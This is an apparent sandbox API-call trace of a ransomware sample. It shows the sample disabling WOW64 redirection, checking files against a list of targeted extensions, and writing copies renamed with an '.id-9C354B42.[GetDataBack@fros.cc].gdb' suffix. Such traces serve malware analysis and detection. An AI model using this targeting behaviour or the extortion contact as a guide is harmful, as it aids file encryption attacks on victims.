lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0137.646] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0137.646] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0137.646] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0137.646] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0137.646] lstrcmpiW (lpString1=".dll", lpString2=".gdb") returned -1 [0137.647] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0137.647] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0137.647] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0137.647] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0137.647] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0137.647] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0137.647] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0137.647] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0137.647] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0137.647] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0137.647] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0137.647] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0137.647] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0137.648] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0137.648] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0137.648] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0137.648] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0137.648] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0137.648] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0137.648] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0137.648] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0137.648] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0137.648] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0137.648] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0137.648] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0137.648] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0137.648] lstrcmpiW (lpString1=".dll", lpString2=".gdb") returned -1 [0137.649] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0137.649] lstrcmpiW (lpString1=".docx", lpString2="b.dll") returned -1 [0137.649] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0137.649] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0137.649] lstrcmpiW (lpString1=".xlsx", lpString2="b.dll") returned -1 [0137.649] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0137.649] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0137.649] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0137.649] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0137.649] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0137.649] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0137.649] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0137.649] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0137.649] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0137.649] lstrcmpiW (lpString1=".docx", lpString2="b.dll") returned -1 [0137.649] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0137.649] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0137.649] lstrcmpiW (lpString1=".xlsx", lpString2="b.dll") returned -1 [0137.649] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0137.650] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0137.650] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0137.650] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0137.650] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0137.650] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0137.650] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0137.650] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0137.650] lstrcmpiW (lpString1=".exe", lpString2=".gdb") returned -1 [0137.651] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0137.651] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0137.651] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0137.651] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0137.651] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0137.651] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0137.651] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0137.651] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0137.651] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0137.651] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0137.651] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0137.651] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0137.651] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0137.651] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0137.651] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0137.651] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0137.651] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0137.652] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0137.652] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0137.652] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0137.652] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0137.652] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0137.652] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0137.652] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0137.652] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0137.652] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0137.652] lstrcmpiW (lpString1=".mui", lpString2=".gdb") returned 1 [0137.652] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0137.652] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0137.652] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0137.652] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0137.653] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0137.653] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0137.653] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0137.653] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0137.653] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0137.653] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0137.653] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0137.653] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0137.653] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0137.653] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0137.653] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0137.653] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0137.653] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0137.653] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0137.653] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0137.653] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0137.653] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0137.653] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0137.653] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0137.653] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0137.653] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0137.654] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0137.654] lstrcmpiW (lpString1=".dll", lpString2=".gdb") returned -1 [0137.655] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0137.655] lstrcmpiW (lpString1=".docx", lpString2="d.dll") returned -1 [0137.655] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0137.655] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0137.655] lstrcmpiW (lpString1=".xlsx", lpString2="d.dll") returned -1 [0137.655] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0137.655] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0137.655] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0137.655] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0137.655] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0137.655] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0137.655] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0137.655] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0137.655] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0137.655] lstrcmpiW (lpString1=".docx", lpString2="d.dll") returned -1 [0137.656] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0137.656] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0137.656] lstrcmpiW (lpString1=".xlsx", lpString2="d.dll") returned -1 [0137.656] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0137.656] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0137.656] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0137.656] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0137.656] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0137.656] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0137.656] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0137.656] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0137.656] lstrcmpiW (lpString1=".dll", lpString2=".gdb") returned -1 [0137.656] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0137.656] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0137.656] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0137.657] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0137.657] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0137.657] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0137.657] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0137.657] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0137.657] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0137.657] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0137.657] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0137.657] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0137.657] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0137.657] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0137.657] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0137.657] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0137.657] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0137.657] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0137.657] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0137.657] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0137.657] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0137.657] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0137.657] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0137.657] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0137.658] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0137.658] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0137.658] lstrcmpiW (lpString1=".dll", lpString2=".gdb") returned -1 [0137.658] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0137.658] lstrcmpiW (lpString1=".docx", lpString2="x.dll") returned -1 [0137.658] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0137.658] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0137.658] lstrcmpiW (lpString1=".xlsx", lpString2="x.dll") returned -1 [0137.658] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0137.661] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e4fa40 | out: lpNewFilePointer=0x0) returned 1 [0137.661] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e4fa40 | out: lpNewFilePointer=0x0) returned 1 [0137.661] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\MSClientDataMgr\\MSCDM.DLL.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\program files\\common files\\microsoft shared\\msclientdatamgr\\mscdm.dll.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c4 [0137.661] GetLastError () returned 0x0 [0137.661] ReadFile (hFile=0x1f0, lpBuffer=0x3560020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e4fa4c, lpOverlapped=0x0) Thread: id = 28 os_tid = 0xb2c [0115.269] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75a20000 [0115.269] GetProcAddress (hModule=0x75a20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75a4d650 [0115.269] Wow64DisableWow64FsRedirection (in: OldValue=0x307fe00 | out: OldValue=0x307fe00*=0x0) returned 1 [0115.269] lstrlenW (lpString="kernel32.dll") returned 12 [0115.269] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0115.269] Sleep (dwMilliseconds=0x64) [0115.519] lstrcmpiW (lpString1=".mui", lpString2=".gdb") returned 1 [0115.519] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0115.519] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0115.519] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x307fdc4 | out: lpFileSize=0x307fdc4*=89168) returned 1 [0115.519] CloseHandle (hObject=0x1a8) returned 1 [0115.519] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui")) returned 0x20 [0115.519] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0115.519] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0115.519] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0115.519] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0115.519] lstrlenW (lpString=".doc") returned 4 [0115.519] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0115.519] lstrlenW (lpString=".docx") returned 5 [0115.519] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0115.519] lstrlenW (lpString=".pdf") returned 4 [0115.519] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0115.519] lstrlenW (lpString=".xls") returned 4 [0115.519] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0115.519] lstrlenW (lpString=".xlsx") returned 5 [0115.519] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0115.519] lstrlenW (lpString=".ppt") returned 4 [0115.520] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0115.520] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0115.520] lstrlenW (lpString=".zip") returned 4 [0115.520] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0115.520] lstrlenW (lpString=".rar") returned 4 [0115.520] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0115.520] lstrlenW (lpString=".bz2") returned 4 [0115.520] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0115.520] lstrlenW (lpString=".7z") returned 3 [0115.520] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0115.520] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0115.520] lstrlenW (lpString=".dbf") returned 4 [0115.520] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0115.520] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0115.520] lstrlenW (lpString=".1cd") returned 4 [0115.520] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0115.520] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0115.520] lstrlenW (lpString=".jpg") returned 4 [0115.520] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0115.590] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0115.590] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0115.590] lstrlenW (lpString=".doc") returned 4 [0115.590] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0115.590] lstrlenW (lpString=".docx") returned 5 [0115.590] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0115.590] lstrlenW (lpString=".pdf") returned 4 [0115.590] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0115.590] lstrlenW (lpString=".xls") returned 4 [0115.590] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0115.590] lstrlenW (lpString=".xlsx") returned 5 [0115.590] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0115.590] lstrlenW (lpString=".ppt") returned 4 [0115.590] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0115.590] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0115.590] lstrlenW (lpString=".zip") returned 4 [0115.590] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0115.590] lstrlenW (lpString=".rar") returned 4 [0115.590] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0115.590] lstrlenW (lpString=".bz2") returned 4 [0115.590] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0115.590] lstrlenW (lpString=".7z") returned 3 [0115.590] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0115.591] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0115.591] lstrlenW (lpString=".dbf") returned 4 [0115.591] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0115.591] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0115.591] lstrlenW (lpString=".1cd") returned 4 [0115.591] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0115.591] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0115.591] lstrlenW (lpString=".jpg") returned 4 [0115.591] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0115.591] lstrcmpiW (lpString1=".ttf", lpString2=".gdb") returned 1 [0115.591] lstrlenW (lpString="wgl4_boot.ttf") returned 13 [0115.591] CreateFileW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0115.592] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x307fdc4 | out: lpFileSize=0x307fdc4*=47452) returned 1 [0115.592] CloseHandle (hObject=0x198) returned 1 [0115.592] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf")) returned 0x20 [0115.592] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0115.592] CreateFileW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0115.592] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0115.592] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0115.592] lstrlenW (lpString=".doc") returned 4 [0115.592] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0115.592] lstrlenW (lpString=".docx") returned 5 [0115.592] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0115.592] lstrlenW (lpString=".pdf") returned 4 [0115.592] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0115.592] lstrlenW (lpString=".xls") returned 4 [0115.592] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0115.592] lstrlenW (lpString=".xlsx") returned 5 [0115.592] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0115.592] lstrlenW (lpString=".ppt") returned 4 [0115.592] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0115.592] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0115.592] lstrlenW (lpString=".zip") returned 4 [0115.593] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0115.593] lstrlenW (lpString=".rar") returned 4 [0115.593] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0115.593] lstrlenW (lpString=".bz2") returned 4 [0115.593] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0115.593] lstrlenW (lpString=".7z") returned 3 [0115.593] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0115.593] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0115.593] lstrlenW (lpString=".dbf") returned 4 [0115.593] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0115.593] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0115.593] lstrlenW (lpString=".1cd") returned 4 [0115.593] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0115.593] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0115.593] lstrlenW (lpString=".jpg") returned 4 [0115.593] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0115.593] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0115.593] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0115.593] lstrlenW (lpString=".doc") returned 4 [0115.593] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0115.593] lstrlenW (lpString=".docx") returned 5 [0115.593] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0115.593] lstrlenW (lpString=".pdf") returned 4 [0115.593] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0115.593] lstrlenW (lpString=".xls") returned 4 [0115.593] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0115.593] lstrlenW (lpString=".xlsx") returned 5 [0115.593] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0115.593] lstrlenW (lpString=".ppt") returned 4 [0115.593] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0115.593] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0115.593] lstrlenW (lpString=".zip") returned 4 [0115.593] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0115.593] lstrlenW (lpString=".rar") returned 4 [0115.593] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0115.593] lstrlenW (lpString=".bz2") returned 4 [0115.593] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0115.593] lstrlenW (lpString=".7z") returned 3 [0115.593] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0115.593] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0115.593] lstrlenW (lpString=".dbf") returned 4 [0115.593] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0115.593] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0115.593] lstrlenW (lpString=".1cd") returned 4 [0115.594] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0115.594] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0115.594] lstrlenW (lpString=".jpg") returned 4 [0115.594] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0115.594] lstrcmpiW (lpString1=".mui", lpString2=".gdb") returned 1 [0115.594] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0115.594] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0115.594] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x307fdc4 | out: lpFileSize=0x307fdc4*=93248) returned 1 [0115.594] CloseHandle (hObject=0x198) returned 1 [0115.594] GetFileAttributesW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui")) returned 0x20 [0115.594] GetFileAttributesW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0115.594] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0115.594] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0115.594] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0115.594] lstrlenW (lpString=".doc") returned 4 [0115.594] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0115.594] lstrlenW (lpString=".docx") returned 5 [0115.594] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0115.594] lstrlenW (lpString=".pdf") returned 4 [0115.594] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0115.594] lstrlenW (lpString=".xls") returned 4 [0115.594] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0115.594] lstrlenW (lpString=".xlsx") returned 5 [0115.594] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0115.594] lstrlenW (lpString=".ppt") returned 4 [0115.594] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0115.595] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0115.595] lstrlenW (lpString=".zip") returned 4 